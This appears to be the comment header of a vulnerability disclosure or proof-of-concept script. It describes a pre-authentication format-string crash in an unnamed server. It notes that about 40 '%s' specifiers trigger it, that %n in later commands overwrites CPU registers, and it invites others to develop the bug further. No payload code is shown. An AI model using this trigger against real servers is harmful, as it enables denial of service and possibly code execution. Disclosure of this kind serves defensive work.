#Pre-Authentication crash #1
#I say crash number 1 since there's another instance where it crashes with the USER command.
#Also many post-authentication commands also crash with the same buffer type (%n for example)
#with variant degrees of interesting CPU registry overwrites.
#It will crash if you send it about 40 '%s' really, but I've included my full session of 810 bytes sent.
#As always, if anyone wants to take this further go right ahead. Just be nice and don't forget who found it.
